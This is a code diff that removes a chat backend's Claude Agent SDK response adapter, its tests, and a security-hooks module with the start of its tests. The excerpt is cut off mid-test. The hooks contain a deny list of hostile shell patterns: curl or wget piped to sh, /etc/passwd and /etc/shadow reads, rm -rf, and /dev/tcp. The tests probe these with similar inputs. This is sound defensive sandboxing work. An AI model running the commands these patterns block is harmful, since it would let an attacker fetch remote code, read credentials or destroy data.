-            merged[-1]["content"] = prev_content + new_content
-        else:
-            merged.append(msg)
-
-    return merged
-
-
-async def _execute_tool(
-    tool_name: str, tool_input: Any, handlers: dict[str, Any]
-) -> tuple[str, bool]:
-    """Execute a tool and return (output, is_error)."""
-    handler = handlers.get(tool_name)
-    if not handler:
-        return f"Unknown tool: {tool_name}", True
-
-    try:
-        result = await handler(tool_input)
-        # Safely extract output - handle empty or missing content
-        content = result.get("content") or []
-        if content and isinstance(content, list) and len(content) > 0:
-            first_item = content[0]
-            output = first_item.get("text", "") if isinstance(first_item, dict) else ""
-        else:
-            output = ""
-        is_error = result.get("isError", False)
-        return output, is_error
-    except Exception as e:
-        return f"Error: {str(e)}", True

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter.py

@@ -1,198 +0,0 @@
-"""Response adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-This module provides the adapter layer that converts streaming messages from
-the Claude Agent SDK into the Vercel AI SDK UI Stream Protocol format that
-the frontend expects.
-"""
-
-import json
-import logging
-import uuid
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    Message,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-)
-from backend.api.features.chat.sdk.tool_adapter import (
-    MCP_TOOL_PREFIX,
-    pop_pending_tool_output,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class SDKResponseAdapter:
-    """Adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-    This class maintains state during a streaming session to properly track
-    text blocks, tool calls, and message lifecycle.
-    """
-
-    def __init__(self, message_id: str | None = None):
-        self.message_id = message_id or str(uuid.uuid4())
-        self.text_block_id = str(uuid.uuid4())
-        self.has_started_text = False
-        self.has_ended_text = False
-        self.current_tool_calls: dict[str, dict[str, str]] = {}
-        self.task_id: str | None = None
-        self.step_open = False
-
-    def set_task_id(self, task_id: str) -> None:
-        """Set the task ID for reconnection support."""
-        self.task_id = task_id
-
-    def convert_message(self, sdk_message: Message) -> list[StreamBaseResponse]:
-        """Convert a single SDK message to Vercel AI SDK format."""
-        responses: list[StreamBaseResponse] = []
-
-        if isinstance(sdk_message, SystemMessage):
-            if sdk_message.subtype == "init":
-                responses.append(
-                    StreamStart(messageId=self.message_id, taskId=self.task_id)
-                )
-                # Open the first step (matches non-SDK: StreamStart then StreamStartStep)
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-        elif isinstance(sdk_message, AssistantMessage):
-            # After tool results, the SDK sends a new AssistantMessage for the
-            # next LLM turn. Open a new step if the previous one was closed.
-            if not self.step_open:
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-            for block in sdk_message.content:
-                if isinstance(block, TextBlock):
-                    if block.text:
-                        self._ensure_text_started(responses)
-                        responses.append(
-                            StreamTextDelta(id=self.text_block_id, delta=block.text)
-                        )
-
-                elif isinstance(block, ToolUseBlock):
-                    self._end_text_if_open(responses)
-
-                    # Strip MCP prefix so frontend sees "find_block"
-                    # instead of "mcp__copilot__find_block".
-                    tool_name = block.name.removeprefix(MCP_TOOL_PREFIX)
-
-                    responses.append(
-                        StreamToolInputStart(toolCallId=block.id, toolName=tool_name)
-                    )
-                    responses.append(
-                        StreamToolInputAvailable(
-                            toolCallId=block.id,
-                            toolName=tool_name,
-                            input=block.input,
-                        )
-                    )
-                    self.current_tool_calls[block.id] = {"name": tool_name}
-
-        elif isinstance(sdk_message, UserMessage):
-            # UserMessage carries tool results back from tool execution.
-            content = sdk_message.content
-            blocks = content if isinstance(content, list) else []
-            for block in blocks:
-                if isinstance(block, ToolResultBlock) and block.tool_use_id:
-                    tool_info = self.current_tool_calls.get(block.tool_use_id, {})
-                    tool_name = tool_info.get("name", "unknown")
-
-                    # Prefer the stashed full output over the SDK's
-                    # (potentially truncated) ToolResultBlock content.
-                    # The SDK truncates large results, writing them to disk,
-                    # which breaks frontend widget parsing.
-                    output = pop_pending_tool_output(tool_name) or (
-                        _extract_tool_output(block.content)
-                    )
-
-                    responses.append(
-                        StreamToolOutputAvailable(
-                            toolCallId=block.tool_use_id,
-                            toolName=tool_name,
-                            output=output,
-                            success=not (block.is_error or False),
-                        )
-                    )
-
-            # Close the current step after tool results — the next
-            # AssistantMessage will open a new step for the continuation.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-        elif isinstance(sdk_message, ResultMessage):
-            self._end_text_if_open(responses)
-            # Close the step before finishing.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-            if sdk_message.subtype == "success":
-                responses.append(StreamFinish())
-            elif sdk_message.subtype in ("error", "error_during_execution"):
-                error_msg = getattr(sdk_message, "result", None) or "Unknown error"
-                responses.append(
-                    StreamError(errorText=str(error_msg), code="sdk_error")
-                )
-                responses.append(StreamFinish())
-
-        else:
-            logger.debug(f"Unhandled SDK message type: {type(sdk_message).__name__}")
-
-        return responses
-
-    def _ensure_text_started(self, responses: list[StreamBaseResponse]) -> None:
-        """Start (or restart) a text block if needed."""
-        if not self.has_started_text or self.has_ended_text:
-            if self.has_ended_text:
-                self.text_block_id = str(uuid.uuid4())
-                self.has_ended_text = False
-            responses.append(StreamTextStart(id=self.text_block_id))
-            self.has_started_text = True
-
-    def _end_text_if_open(self, responses: list[StreamBaseResponse]) -> None:
-        """End the current text block if one is open."""
-        if self.has_started_text and not self.has_ended_text:
-            responses.append(StreamTextEnd(id=self.text_block_id))
-            self.has_ended_text = True
-
-
-def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
-    """Extract a string output from a ToolResultBlock's content field."""
-    if isinstance(content, str):
-        return content
-    if isinstance(content, list):
-        parts = [item.get("text", "") for item in content if item.get("type") == "text"]
-        if parts:
-            return "".join(parts)
-        try:
-            return json.dumps(content)
-        except (TypeError, ValueError):
-            return str(content)
-    if content is None:
-        return ""
-    try:
-        return json.dumps(content)
-    except (TypeError, ValueError):
-        return str(content)

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter_test.py

@@ -1,366 +0,0 @@
-"""Unit tests for the SDK response adapter."""
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-)
-
-from .response_adapter import SDKResponseAdapter
-from .tool_adapter import MCP_TOOL_PREFIX
-
-
-def _adapter() -> SDKResponseAdapter:
-    a = SDKResponseAdapter(message_id="msg-1")
-    a.set_task_id("task-1")
-    return a
-
-
-# -- SystemMessage -----------------------------------------------------------
-
-
-def test_system_init_emits_start_and_step():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="init", data={}))
-    assert len(results) == 2
-    assert isinstance(results[0], StreamStart)
-    assert results[0].messageId == "msg-1"
-    assert results[0].taskId == "task-1"
-    assert isinstance(results[1], StreamStartStep)
-
-
-def test_system_non_init_emits_nothing():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="other", data={}))
-    assert results == []
-
-
-# -- AssistantMessage with TextBlock -----------------------------------------
-
-
-def test_text_block_emits_step_start_and_delta():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="hello")], model="test")
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "hello"
-
-
-def test_empty_text_block_emits_only_step():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="")], model="test")
-    results = adapter.convert_message(msg)
-    # Empty text skipped, but step still opens
-    assert len(results) == 1
-    assert isinstance(results[0], StreamStartStep)
-
-
-def test_multiple_text_deltas_reuse_block_id():
-    adapter = _adapter()
-    msg1 = AssistantMessage(content=[TextBlock(text="a")], model="test")
-    msg2 = AssistantMessage(content=[TextBlock(text="b")], model="test")
-    r1 = adapter.convert_message(msg1)
-    r2 = adapter.convert_message(msg2)
-    # First gets step+start+delta, second only delta (block & step already started)
-    assert len(r1) == 3
-    assert isinstance(r1[0], StreamStartStep)
-    assert isinstance(r1[1], StreamTextStart)
-    assert len(r2) == 1
-    assert isinstance(r2[0], StreamTextDelta)
-    assert r1[1].id == r2[0].id  # same block ID
-
-
-# -- AssistantMessage with ToolUseBlock --------------------------------------
-
-
-def test_tool_use_emits_input_start_and_available():
-    """Tool names arrive with MCP prefix and should be stripped for the frontend."""
-    adapter = _adapter()
-    msg = AssistantMessage(
-        content=[
-            ToolUseBlock(
-                id="tool-1",
-                name=f"{MCP_TOOL_PREFIX}find_agent",
-                input={"q": "x"},
-            )
-        ],
-        model="test",
-    )
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamToolInputStart)
-    assert results[1].toolCallId == "tool-1"
-    assert results[1].toolName == "find_agent"  # prefix stripped
-    assert isinstance(results[2], StreamToolInputAvailable)
-    assert results[2].toolName == "find_agent"  # prefix stripped
-    assert results[2].input == {"q": "x"}
-
-
-def test_text_then_tool_ends_text_block():
-    adapter = _adapter()
-    text_msg = AssistantMessage(content=[TextBlock(text="thinking...")], model="test")
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-        model="test",
-    )
-    adapter.convert_message(text_msg)  # opens step + text
-    results = adapter.convert_message(tool_msg)
-    # Step already open, so: TextEnd, ToolInputStart, ToolInputAvailable
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamToolInputStart)
-
-
-# -- UserMessage with ToolResultBlock ----------------------------------------
-
-
-def test_tool_result_emits_output_and_finish_step():
-    adapter = _adapter()
-    # First register the tool call (opens step) — SDK sends prefixed name
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}find_agent", input={})],
-        model="test",
-    )
-    adapter.convert_message(tool_msg)
-
-    # Now send tool result
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="found 3 agents")]
-    )
-    results = adapter.convert_message(result_msg)
-    assert len(results) == 2
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].toolCallId == "t1"
-    assert results[0].toolName == "find_agent"  # prefix stripped
-    assert results[0].output == "found 3 agents"
-    assert results[0].success is True
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_error():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[
-                ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}run_agent", input={})
-            ],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="timeout", is_error=True)]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].success is False
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_list_content():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[
-            ToolResultBlock(
-                tool_use_id="t1",
-                content=[
-                    {"type": "text", "text": "line1"},
-                    {"type": "text", "text": "line2"},
-                ],
-            )
-        ]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].output == "line1line2"
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_string_user_message_ignored():
-    """A plain string UserMessage (not tool results) produces no output."""
-    adapter = _adapter()
-    results = adapter.convert_message(UserMessage(content="hello"))
-    assert results == []
-
-
-# -- ResultMessage -----------------------------------------------------------
-
-
-def test_result_success_emits_finish_step_and_finish():
-    adapter = _adapter()
-    # Start some text first (opens step)
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="done")], model="test")
-    )
-    msg = ResultMessage(
-        subtype="success",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=False,
-        num_turns=1,
-        session_id="s1",
-    )
-    results = adapter.convert_message(msg)
-    # TextEnd + FinishStep + StreamFinish
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamFinishStep)
-    assert isinstance(results[2], StreamFinish)
-
-
-def test_result_error_emits_error_and_finish():
-    adapter = _adapter()
-    msg = ResultMessage(
-        subtype="error",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=True,
-        num_turns=0,
-        session_id="s1",
-        result="API rate limited",
-    )
-    results = adapter.convert_message(msg)
-    # No step was open, so no FinishStep — just Error + Finish
-    assert len(results) == 2
-    assert isinstance(results[0], StreamError)
-    assert "API rate limited" in results[0].errorText
-    assert isinstance(results[1], StreamFinish)
-
-
-# -- Text after tools (new block ID) ----------------------------------------
-
-
-def test_text_after_tool_gets_new_block_id():
-    adapter = _adapter()
-    # Text -> Tool -> ToolResult -> Text should get a new text block ID and step
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="before")], model="test")
-    )
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    # Send tool result (closes step)
-    adapter.convert_message(
-        UserMessage(content=[ToolResultBlock(tool_use_id="t1", content="ok")])
-    )
-    results = adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="after")], model="test")
-    )
-    # Should get StreamStartStep (new step) + StreamTextStart (new block) + StreamTextDelta
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "after"
-
-
-# -- Full conversation flow --------------------------------------------------
-
-
-def test_full_conversation_flow():
-    """Simulate a complete conversation: init -> text -> tool -> result -> text -> finish."""
-    adapter = _adapter()
-    all_responses: list[StreamBaseResponse] = []
-
-    # 1. Init
-    all_responses.extend(
-        adapter.convert_message(SystemMessage(subtype="init", data={}))
-    )
-    # 2. Assistant text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="Let me search")], model="test")
-        )
-    )
-    # 3. Tool use
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(
-                content=[
-                    ToolUseBlock(
-                        id="t1",
-                        name=f"{MCP_TOOL_PREFIX}find_agent",
-                        input={"query": "email"},
-                    )
-                ],
-                model="test",
-            )
-        )
-    )
-    # 4. Tool result
-    all_responses.extend(
-        adapter.convert_message(
-            UserMessage(
-                content=[ToolResultBlock(tool_use_id="t1", content="Found 2 agents")]
-            )
-        )
-    )
-    # 5. More text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="I found 2")], model="test")
-        )
-    )
-    # 6. Result
-    all_responses.extend(
-        adapter.convert_message(
-            ResultMessage(
-                subtype="success",
-                duration_ms=500,
-                duration_api_ms=400,
-                is_error=False,
-                num_turns=2,
-                session_id="s1",
-            )
-        )
-    )
-
-    types = [type(r).__name__ for r in all_responses]
-    assert types == [
-        "StreamStart",
-        "StreamStartStep",  # step 1: text + tool call
-        "StreamTextStart",
-        "StreamTextDelta",  # "Let me search"
-        "StreamTextEnd",  # closed before tool
-        "StreamToolInputStart",
-        "StreamToolInputAvailable",
-        "StreamToolOutputAvailable",  # tool result
-        "StreamFinishStep",  # step 1 closed after tool result
-        "StreamStartStep",  # step 2: continuation text
-        "StreamTextStart",  # new block after tool
-        "StreamTextDelta",  # "I found 2"
-        "StreamTextEnd",  # closed by result
-        "StreamFinishStep",  # step 2 closed
-        "StreamFinish",
-    ]

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks.py

@@ -1,390 +0,0 @@
-"""Security hooks for Claude Agent SDK integration.
-
-This module provides security hooks that validate tool calls before execution,
-ensuring multi-user isolation and preventing unauthorized operations.
-"""
-
-import logging
-import os
-import re
-import shlex
-from typing import Any, cast
-
-from backend.api.features.chat.sdk.tool_adapter import MCP_TOOL_PREFIX
-
-logger = logging.getLogger(__name__)
-
-# Tools that are blocked entirely (CLI/system access)
-BLOCKED_TOOLS = {
-    "bash",
-    "shell",
-    "exec",
-    "terminal",
-    "command",
-}
-
-# Safe read-only commands allowed in the sandboxed Bash tool.
-# These are data-processing / inspection utilities — no writes, no network.
-ALLOWED_BASH_COMMANDS = {
-    # JSON / structured data
-    "jq",
-    # Text processing
-    "grep",
-    "egrep",
-    "fgrep",
-    "rg",
-    "head",
-    "tail",
-    "cat",
-    "wc",
-    "sort",
-    "uniq",
-    "cut",
-    "tr",
-    "sed",
-    "awk",
-    "column",
-    "fold",
-    "fmt",
-    "nl",
-    "paste",
-    "rev",
-    # File inspection (read-only)
-    "find",
-    "ls",
-    "file",
-    "stat",
-    "du",
-    "tree",
-    "basename",
-    "dirname",
-    "realpath",
-    # Utilities
-    "echo",
-    "printf",
-    "date",
-    "true",
-    "false",
-    "xargs",
-    "tee",
-    # Comparison / encoding
-    "diff",
-    "comm",
-    "base64",
-    "md5sum",
-    "sha256sum",
-}
-
-# Tools allowed only when their path argument stays within the SDK workspace.
-# The SDK uses these to handle oversized tool results (writes to tool-results/
-# files, then reads them back) and for workspace file operations.
-WORKSPACE_SCOPED_TOOLS = {"Read", "Write", "Edit", "Glob", "Grep"}
-
-# Tools that get sandboxed Bash validation (command allowlist + workspace paths).
-SANDBOXED_BASH_TOOLS = {"Bash"}
-
-# Dangerous patterns in tool inputs
-DANGEROUS_PATTERNS = [
-    r"sudo",
-    r"rm\s+-rf",
-    r"dd\s+if=",
-    r"/etc/passwd",
-    r"/etc/shadow",
-    r"chmod\s+777",
-    r"curl\s+.*\|.*sh",
-    r"wget\s+.*\|.*sh",
-    r"eval\s*\(",
-    r"exec\s*\(",
-    r"__import__",
-    r"os\.system",
-    r"subprocess",
-]
-
-
-def _deny(reason: str) -> dict[str, Any]:
-    """Return a hook denial response."""
-    return {
-        "hookSpecificOutput": {
-            "hookEventName": "PreToolUse",
-            "permissionDecision": "deny",
-            "permissionDecisionReason": reason,
-        }
-    }
-
-
-def _validate_workspace_path(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate that a workspace-scoped tool only accesses allowed paths.
-
-    Allowed directories:
-    - The SDK working directory (``/tmp/copilot-<session>/``)
-    - The SDK tool-results directory (``~/.claude/projects/…/tool-results/``)
-    """
-    path = tool_input.get("file_path") or tool_input.get("path") or ""
-    if not path:
-        # Glob/Grep without a path default to cwd which is already sandboxed
-        return {}
-
-    resolved = os.path.normpath(os.path.expanduser(path))
-
-    # Allow access within the SDK working directory
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-            return {}
-
-    # Allow access to ~/.claude/projects/*/tool-results/ (big tool results)
-    claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-    if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-        return {}
-
-    logger.warning(
-        f"Blocked {tool_name} outside workspace: {path} (resolved={resolved})"
-    )
-    return _deny(
-        f"Tool '{tool_name}' can only access files within the workspace directory."
-    )
-
-
-def _validate_bash_command(
-    tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate a Bash command against the allowlist of safe commands.
-
-    Only read-only data-processing commands are allowed (jq, grep, head, etc.).
-    Blocks command substitution, output redirection, and disallowed executables.
-
-    Uses ``shlex.split`` to properly handle quoted strings (e.g. jq filters
-    containing ``|`` won't be mistaken for shell pipes).
-    """
-    command = tool_input.get("command", "")
-    if not command or not isinstance(command, str):
-        return _deny("Bash command is empty.")
-
-    # Block command substitution — can smuggle arbitrary commands
-    if "$(" in command or "`" in command:
-        return _deny("Command substitution ($() or ``) is not allowed in Bash.")
-
-    # Block output redirection — Bash should be read-only
-    if re.search(r"(?<!\d)>{1,2}\s", command):
-        return _deny("Output redirection (> or >>) is not allowed in Bash.")
-
-    # Block /dev/ access (e.g., /dev/tcp for network)
-    if "/dev/" in command:
-        return _deny("Access to /dev/ is not allowed in Bash.")
-
-    # Tokenize with shlex (respects quotes), then extract command names.
-    # shlex preserves shell operators like | ; && || as separate tokens.
-    try:
-        tokens = shlex.split(command)
-    except ValueError:
-        return _deny("Malformed command (unmatched quotes).")
-
-    # Walk tokens: the first non-assignment token after a pipe/separator is a command.
-    expect_command = True
-    for token in tokens:
-        if token in ("|", "||", "&&", ";"):
-            expect_command = True
-            continue
-        if expect_command:
-            # Skip env var assignments (VAR=value)
-            if "=" in token and not token.startswith("-"):
-                continue
-            cmd_name = os.path.basename(token)
-            if cmd_name not in ALLOWED_BASH_COMMANDS:
-                allowed = ", ".join(sorted(ALLOWED_BASH_COMMANDS))
-                logger.warning(f"Blocked Bash command: {cmd_name}")
-                return _deny(
-                    f"Command '{cmd_name}' is not allowed. "
-                    f"Allowed commands: {allowed}"
-                )
-            expect_command = False
-
-    # Validate absolute file paths stay within workspace
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-        for token in tokens:
-            if not token.startswith("/"):
-                continue
-            resolved = os.path.normpath(token)
-            if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-                continue
-            if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-                continue
-            logger.warning(f"Blocked Bash path outside workspace: {token}")
-            return _deny(
-                f"Bash can only access files within the workspace directory. "
-                f"Path '{token}' is outside the workspace."
-            )
-
-    return {}
-
-
-def _validate_tool_access(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Validate that a tool call is allowed.
-
-    Returns:
-        Empty dict to allow, or dict with hookSpecificOutput to deny
-    """
-    # Block forbidden tools
-    if tool_name in BLOCKED_TOOLS:
-        logger.warning(f"Blocked tool access attempt: {tool_name}")
-        return _deny(
-            f"Tool '{tool_name}' is not available. "
-            "Use the CoPilot-specific tools instead."
-        )
-
-    # Sandboxed Bash: only allowlisted commands, workspace-scoped paths
-    if tool_name in SANDBOXED_BASH_TOOLS:
-        return _validate_bash_command(tool_input, sdk_cwd)
-
-    # Workspace-scoped tools: allowed only within the SDK workspace directory
-    if tool_name in WORKSPACE_SCOPED_TOOLS:
-        return _validate_workspace_path(tool_name, tool_input, sdk_cwd)
-
-    # Check for dangerous patterns in tool input
-    input_str = str(tool_input)
-
-    for pattern in DANGEROUS_PATTERNS:
-        if re.search(pattern, input_str, re.IGNORECASE):
-            logger.warning(
-                f"Blocked dangerous pattern in tool input: {pattern} in {tool_name}"
-            )
-            return _deny("Input contains blocked pattern")
-
-    return {}
-
-
-def _validate_user_isolation(
-    tool_name: str, tool_input: dict[str, Any], user_id: str | None
-) -> dict[str, Any]:
-    """Validate that tool calls respect user isolation."""
-    # For workspace file tools, ensure path doesn't escape
-    if "workspace" in tool_name.lower():
-        path = tool_input.get("path", "") or tool_input.get("file_path", "")
-        if path:
-            # Check for path traversal
-            if ".." in path or path.startswith("/"):
-                logger.warning(
-                    f"Blocked path traversal attempt: {path} by user {user_id}"
-                )
-                return {
-                    "hookSpecificOutput": {
-                        "hookEventName": "PreToolUse",
-                        "permissionDecision": "deny",
-                        "permissionDecisionReason": "Path traversal not allowed",
-                    }
-                }
-
-    return {}
-
-
-def create_security_hooks(
-    user_id: str | None, sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Create the security hooks configuration for Claude Agent SDK.
-
-    Includes security validation and observability hooks:
-    - PreToolUse: Security validation before tool execution
-    - PostToolUse: Log successful tool executions
-    - PostToolUseFailure: Log and handle failed tool executions
-    - PreCompact: Log context compaction events (SDK handles compaction automatically)
-
-    Args:
-        user_id: Current user ID for isolation validation
-        sdk_cwd: SDK working directory for workspace-scoped tool validation
-
-    Returns:
-        Hooks configuration dict for ClaudeAgentOptions
-    """
-    try:
-        from claude_agent_sdk import HookMatcher
-        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
-
-        async def pre_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Combined pre-tool-use validation hook."""
-            _ = context  # unused but required by signature
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            tool_input = cast(dict[str, Any], input_data.get("tool_input", {}))
-
-            # Strip MCP prefix for consistent validation
-            is_copilot_tool = tool_name.startswith(MCP_TOOL_PREFIX)
-            clean_name = tool_name.removeprefix(MCP_TOOL_PREFIX)
-
-            # Only block non-CoPilot tools; our MCP-registered tools
-            # (including Read for oversized results) are already sandboxed.
-            if not is_copilot_tool:
-                result = _validate_tool_access(clean_name, tool_input, sdk_cwd)
-                if result:
-                    return cast(SyncHookJSONOutput, result)
-
-            # Validate user isolation
-            result = _validate_user_isolation(clean_name, tool_input, user_id)
-            if result:
-                return cast(SyncHookJSONOutput, result)
-
-            logger.debug(f"[SDK] Tool start: {tool_name}, user={user_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log successful tool executions for observability."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            logger.debug(f"[SDK] Tool success: {tool_name}, tool_use_id={tool_use_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_failure_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log failed tool executions for debugging."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            error = input_data.get("error", "Unknown error")
-            logger.warning(
-                f"[SDK] Tool failed: {tool_name}, error={error}, "
-                f"user={user_id}, tool_use_id={tool_use_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        async def pre_compact_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log when SDK triggers context compaction.
-
-            The SDK automatically compacts conversation history when it grows too large.
-            This hook provides visibility into when compaction happens.
-            """
-            _ = context, tool_use_id
-            trigger = input_data.get("trigger", "auto")
-            logger.info(
-                f"[SDK] Context compaction triggered: {trigger}, user={user_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        return {
-            "PreToolUse": [HookMatcher(matcher="*", hooks=[pre_tool_use_hook])],
-            "PostToolUse": [HookMatcher(matcher="*", hooks=[post_tool_use_hook])],
-            "PostToolUseFailure": [
-                HookMatcher(matcher="*", hooks=[post_tool_failure_hook])
-            ],
-            "PreCompact": [HookMatcher(matcher="*", hooks=[pre_compact_hook])],
-        }
-    except ImportError:
-        # Fallback for when SDK isn't available - return empty hooks
-        return {}

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks_test.py

@@ -1,258 +0,0 @@
-"""Unit tests for SDK security hooks."""
-
-import os
-
-from .security_hooks import _validate_tool_access, _validate_user_isolation
-
-SDK_CWD = "/tmp/copilot-abc123"
-
-
-def _is_denied(result: dict) -> bool:
-    hook = result.get("hookSpecificOutput", {})
-    return hook.get("permissionDecision") == "deny"
-
-
-# -- Blocked tools -----------------------------------------------------------
-
-
-def test_blocked_tools_denied():
-    for tool in ("bash", "shell", "exec", "terminal", "command"):
-        result = _validate_tool_access(tool, {})
-        assert _is_denied(result), f"{tool} should be blocked"
-
-
-def test_unknown_tool_allowed():
-    result = _validate_tool_access("SomeCustomTool", {})
-    assert result == {}
-
-
-# -- Workspace-scoped tools --------------------------------------------------
-
-
-def test_read_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Read", {"file_path": f"{SDK_CWD}/file.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_write_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Write", {"file_path": f"{SDK_CWD}/output.json"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_edit_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Edit", {"file_path": f"{SDK_CWD}/src/main.py"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_glob_within_workspace_allowed():
-    result = _validate_tool_access("Glob", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_grep_within_workspace_allowed():
-    result = _validate_tool_access("Grep", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Read", {"file_path": "/etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_write_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Write", {"file_path": "/home/user/secrets.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_traversal_attack_denied():
-    result = _validate_tool_access(
-        "Read",
